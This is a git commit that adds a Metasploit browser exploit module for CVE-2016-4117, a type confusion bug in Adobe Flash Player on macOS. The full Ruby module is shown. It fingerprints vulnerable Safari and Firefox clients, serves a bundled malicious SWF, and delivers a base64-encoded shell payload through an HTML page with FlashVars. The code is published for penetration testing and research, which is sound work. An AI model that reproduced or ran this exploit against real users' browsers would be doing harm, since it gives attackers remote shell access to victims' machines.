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initial import, CVE-2016-4117 OSX exploit

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Brent Cook 2018-10-10 04:27:51 -05:00
parent 0471d69c16
commit dc6ae6f058
2 changed files with 124 additions and 0 deletions
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data/exploits/CVE-2016-4117/msf.swf Executable file
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modules/exploits/osx/browser/adobe_flash_delete_range_tl_op.rb Executable file
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##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::BrowserExploitServer
def initialize(info={})
super(update_info(info,
'Name' => 'Adobe Flash Player DeleteRangeTimelineOperation Type-Confusion',
'Description' => %q{
This module exploits a type confusion on Adobe Flash Player. The vulnerability,
discovered in the wild. This module has been tested successfully on:
macOS Sierra 10.12.3, Safari and Adobe Flash Player 21.0.0.182,
Firefox and Adobe Flash Player 21.0.0.182.
},
'License' => MSF_LICENSE,
'Author' =>
[
'bcook-r7', # Imported Metasploit module
],
'References' =>
[
['CVE', '2016-4117'],
['URL', 'https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2016-4117'],
['URL', 'https://www.fireeye.com/blog/threat-research/2016/05/cve-2016-4117-flash-zero-day.html']
],
'Payload' =>
{
'DisableNops' => true
},
'SessionTypes' => ['shell'],
'Platform' => ['osx'],
'BrowserRequirements' =>
{
:source => /script|headers/i,
:os_name => lambda do |os|
os =~ OperatingSystems::Match::MAC_OSX
end,
:ua_name => lambda do |ua|
case target.name
when 'Mac OS X'
return true if ua == Msf::HttpClients::SAFARI
return true if ua == Msf::HttpClients::FF
end
false
end,
:flash => lambda do |ver|
case target.name
when 'Mac OS X'
return true if Gem::Version.new(ver) <= Gem::Version.new('21.0.0.182')
end
false
end
},
'Targets' =>
[
[ 'Mac OS X',
{
'Platform' => 'osx',
'Arch' => ARCH_X64,
}
]
],
'Privileged' => false,
'DisclosureDate' => 'Apr 27 2016',
'DefaultTarget' => 0))
end
def exploit
@swf = create_swf
super
end
def on_request_exploit(cli, request, target_info)
print_status("Request: #{request.uri}")
if request.uri =~ /\.swf$/
print_status('Sending SWF...')
send_response(cli, @swf, {'Content-Type'=>'application/x-shockwave-flash', 'Cache-Control' => 'no-cache, no-store', 'Pragma' => 'no-cache'})
return
end
print_status('Sending HTML...')
send_exploit_html(cli, exploit_template(cli, target_info), {'Pragma' => 'no-cache'})
end
def exploit_template(cli, target_info)
swf_random = "#{rand_text_alpha(4 + rand(3))}.swf"
target_payload = get_payload(cli, target_info)
b64_payload = Rex::Text.encode_base64(target_payload)
if target.name =~ /osx/
platform_id = 'osx'
end
html_template = %Q|<html>
<body>
<object classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab" width="1" height="1" />
<param name="movie" value="<%=swf_random%>" />
<param name="allowScriptAccess" value="always" />
<param name="FlashVars" value="sh=<%=b64_payload%>&pl=<%=platform_id%>" />
<param name="Play" value="true" />
<embed type="application/x-shockwave-flash" width="1" height="1" src="<%=swf_random%>" allowScriptAccess="always" FlashVars="sh=<%=b64_payload%>&pl=<%=platform_id%>" Play="true"/>
</object>
</body>
</html>
|
return html_template, binding()
end
def create_swf
path = ::File.join(Msf::Config.data_directory, 'exploits', 'CVE-2016-4117', 'msf.swf')
swf = ::File.open(path, 'rb') { |f| swf = f.read }
swf
end
end